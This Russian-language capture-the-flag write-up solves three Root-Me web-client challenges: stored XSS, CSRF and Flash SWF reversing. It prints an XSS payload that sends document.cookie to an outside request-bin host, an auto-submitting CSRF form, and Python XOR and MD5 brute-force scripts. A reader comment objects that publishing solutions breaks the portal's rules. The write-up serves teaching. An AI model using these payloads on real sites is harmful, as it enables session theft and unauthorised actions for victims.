![image](https://habrastorage.org/webt/r-/mq/l4/r-mql46nvptwmoytomz1peetrvo.jpeg)
В данной статье угоняем куки через Stored XSS, разбираемся с CSRF атакой и реверсим Flash SWF файл. Ссылки на предыдущие статьи:
Часть 1: Web — javascript authentication, obfuscation и native code. Решение задач с r0от-мi Web— Client.
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
XSS Stored
![image](https://habrastorage.org/webt/bi/d9/3w/bid93w7bkfevvhabr9kzdfjp96o.png)
По заданию нам нужно захватить куки администратрора. Открываем сайт. Видим форму, где нужно ввести заголовок и сообщение. Введем, чтобы посмотреть, как наш ввод отобразится на форме.
![image](https://habrastorage.org/webt/wp/w1/wl/wpw1wl2m1t2nubxyztoq5q-y6ye.png)
![image](https://habrastorage.org/webt/-c/o_/5g/-co_5g6bvi60cagaiywjxhlvjr0.png)
Так. Попробуем проверить на XSS. В качестве пэйлоада я буду испольовать обычный алерт.
<script>alert(1);</script>
Как можно видеть, нам отобразилось окошко алерта, то есть внедренный код javascript сработал.
![image](https://habrastorage.org/webt/0d/ge/xh/0dgexhl5fm1xjacyuxs4krzwely.png)
Так как это хранимые XSS, то есть возможность угнать куки других пользователей. Если у вас нету своего собственного сервера в глобальной сети, то можно воспольоваться этим сайтом.
![image](https://habrastorage.org/webt/no/ug/mi/nougmijlozdtv_85blbx5swvh8c.png)
Здесь нам дают адрес, по которому мы сможем наблюдать все запросы на этот адрес. Теперь внедрим следующий пэйлоад.
<script>
document.write("<img src='https://en0q0bu21ne0wq.x.pipedream.net/?cookie=" + document.cookie + "'></img>");
</script>
Когда пользовательоткроет страницу с этим кодом, агент попытается загрузить картинку и выполнит запрос по данному адресу. В качестве параметра он будет использовать свой куки. Мы же потом посмотрим на параметр, с которым пришел запрос — это и будет куки.
![image](https://habrastorage.org/webt/5w/pf/kw/5wpfkw2116zajlapwo00ca7mm1g.png)
Чем опасен угон куки? Вставив куки для этого сайта в своем браузере мы войдем на сайт от имени этого пользователя, пропустив процесс аутентификации.
CSRF
![image](https://habrastorage.org/webt/lb/3k/wa/lb3kwaj5p_tb4dejx6r7rpskapi.png)
По заданию нам нужно активировать свой аккаунт. Зайдем посмотрим на сайт. Нас встречает форма авторизации.
![image](https://habrastorage.org/webt/j_/rp/bs/j_rpbsfxi6y7vumxdhe_dt-dtyq.png)
Выбираем регистрацию, и регистрируемся на сайте.
![image](https://habrastorage.org/webt/y4/5v/q0/y45vq0u1ing6srotvrxhzxht18c.png)
Нам говорят, что мы получим полноправный доступ, когда админ активирует наш аккаунт.
![image](https://habrastorage.org/webt/dk/4t/y_/dk4ty_33gsobm6_ttpyr9nt3uaw.png)
![image](https://habrastorage.org/webt/py/-y/bi/py-ybidxzxrghfb1tcfcxrn4l2g.png)
При попытке самостоятельно поставить галочку, получаем сообщение, что мы не админ.
![image](https://habrastorage.org/webt/us/at/f3/usatf3vbp99ipsol_odsawp-thk.png)
Но мы можем контактировать с админом, то есть он откроет страницу. Смысл CSRF в том, что пользователь выполняет действия, сам не зная об этом. То есть мы можем заставить его отправить уже заполненную форму. Проверим нет ли здесь токена, который выставляется и проверяется сервером — как защита от таких атак. Он каждый раз разный.
![image](https://habrastorage.org/webt/wp/mz/7f/wpmz7fomfsktcct7vfbv2ly0mdk.png)
Здесь нет токена. Из этой формы выйдет вот такой пэйлоад.
<form id="form" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="ralf">
<input type="checkbox" name="status" checked >
<button type="submit">Submit</button>
</form>
<script>document.getElementById("form").submit()</script>
Здесь уже заполненная нашими данными форма, с выстовленной галочкой активации. Javascript код отправит ее после загрузки страницы, соответсвенно от имени просмотревшего ее администратора.
![image](https://habrastorage.org/webt/m_/t2/bc/m_t2bcdlxaig9zveebwywlshxxs.png)
![image](https://habrastorage.org/webt/r4/zs/ri/r4zsrik1kijpyovteby1ip5mpms.png)
Спустя некоторое время обновим страницу. Наш аккаунт был активирован.
![image](https://habrastorage.org/webt/hy/zi/lf/hyzilfrq6yfqtoi1je_6gsqhaqc.png)
Flash
![image](https://habrastorage.org/webt/dt/j5/xz/dtj5xzyfn6sk9w2-rhoarsuvwla.png)
Нам нужно найти валидный код. Откроем страницу. Нас встречает какой-то кодовый механизм.
![image](https://habrastorage.org/webt/nn/u8/qi/nnu8qij2y9inqv_hmfqyim1tni4.png)
Давайте глянем код.
![image](https://habrastorage.org/webt/fk/rp/sl/fkrpslpl34fnprykl4u9p31jlxm.png)
Видим, что на JS проверяется преобразованный код, который мы введем. Осталось узнать алгоритм преобразования. Так же в коде ей ссылка на swf файл. Давайте его скачаем.
![image](https://habrastorage.org/webt/ll/rq/d8/llrqd8283ltjtxbxhkphpqa_vta.png)
Видим, что это сжатый Macromedia Flash. Для реверса таких файлов я предпочитаю использовать JPEXS.
![image](https://habrastorage.org/webt/ql/a2/y8/qla2y8d6gnbbkocuhr73s-bgw7m.png)
Находим основной скрипт.
![image](https://habrastorage.org/webt/bl/9i/nd/bl9ind3lqpv2eyfxyxy-p0ars48.png)
Давайте разбирать его.
![image](https://habrastorage.org/webt/36/v0/cr/36v0cri-bjelb5otuyvopvasupe.png)
Он загружает данные из другого вложенного скрипта, ксорит их с ключем и отправляет на исполнение. Сделаем это. Сначала найдем эти данные.
![image](https://habrastorage.org/webt/iq/ay/vm/iqayvmvjtagwyvbrwtojrrfiknm.png)
А затем экспортируем в отдельный файл.
![image](https://habrastorage.org/webt/lq/mw/si/lqmwsi0umzkyq1gr9bzrkqatr7c.png)
Теперь проксорим их с ключом.
f = open('1_RootMe_EmbeddedSWF.bin', 'r')
swf_crypt = f.read()
f.close()
key = 'rootmeifyoucan'
swf_decrypt = ''
for i in range(len(swf_crypt)):
swf_decrypt += chr(ord(swf_crypt[i]) ^ ord(key[i%len(key)]))
f = open('NewEmbedded.swf', 'w')
f.write(swf_decrypt)
f.close()
Получаем новый файл. Открываем его в JPEXS.
![image](https://habrastorage.org/webt/fm/op/se/fmopse5vj28lgfek6qrudlzmrhk.png)
Находим основной скрипт и начинаем анализировать.
![image](https://habrastorage.org/webt/w2/kn/wt/w2knwtpt48wviy66zukq1bsyoiq.png)
Так как все равно придется писать код. Буду публиковать его части.
but1 = 11266775
but2 = 11146309
but3 = 7884889
but4 = 8049718
Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe'
Здесь мы видим код каждой кнопки и ее расположение по координатам. Это нам поможет понять у какой кнопки какой код.
![image](https://habrastorage.org/webt/8p/bz/qy/8pbzqyodzswssj7sh9fye6idtis.png)
Отсюда узнаем, что длина кода должна быть равна или быть больше 12. И что итоговое значение — MD5 хеш от перевернутой строки.
from hashlib import *
import itertools
for var in itertools.product('1234', repeat=12):
...
...
if len(code) >= 12:
break
h = md5(code[::-1].encode()).hexdigest()
![image](https://habrastorage.org/webt/7y/qb/hg/7yqbhgmkvpjuljssdh1p-rpubzk.png)
Вместо того чтобы описывать, я просто приведу этот код на python’e.
code = ""
for char in var:
if char == '1':
code += format((but1 >> 16 & 0xFF), '02X')
elif char == '2':
code += format((but2 >> 8 & 0xFF), '02X')
elif char == '3':
code += format((but3 >> 0 & 0xFF), '02X')
elif char == '4':
if len(code) > 1:
code = code[0:-1]
Таким образом, нам нужно перебрать 4^12 = 16777216 вариантов. Пустяк.
from hashlib import *
import itertools
but1 = 11266775
but2 = 11146309
but3 = 7884889
but4 = 8049718
Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe'
for var in itertools.product('1234', repeat=12):
code = ""
for char in var:
if char == '1':
code += format((but1 >> 16 & 0xFF), '02X')
elif char == '2':
code += format((but2 >> 8 & 0xFF), '02X')
elif char == '3':
code += format((but3 >> 0 & 0xFF), '02X')
elif char == '4':
if len(code) > 1:
code = code[0:-1]
if len(code) >= 12:
break
h = md5(code[::-1].encode()).hexdigest()
print("Password: %s, code: %s" % (var, code))
if h == Hash:
print('Correct password:' + "".join(var))
Break
![image](https://habrastorage.org/webt/bx/mf/4d/bxmf4dpr0acd8qfmhg3n-lspai8.png)
Получили пароль и код.
Дальше больше и сложнее… Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
focuz
Откуда такое неуважение к одному из самых клевых БЕСПЛАТНЫХ порталов для обучения хакингу? В правилах портала четко написано:
The publishing of solutions, with a free access outside of the portal is forbidden and penalised.
(https://www.root-me.org/en/Information/Legal-Disclaimer/)
И этот концепт вполне понятен, гораздо лучше и быстрее прокачивашься в скилах решая сам, чем читая описание решения. Даже если ты застрял, у портала есть IRC и форум для помощи(лучше IRC, там быстро отвечают).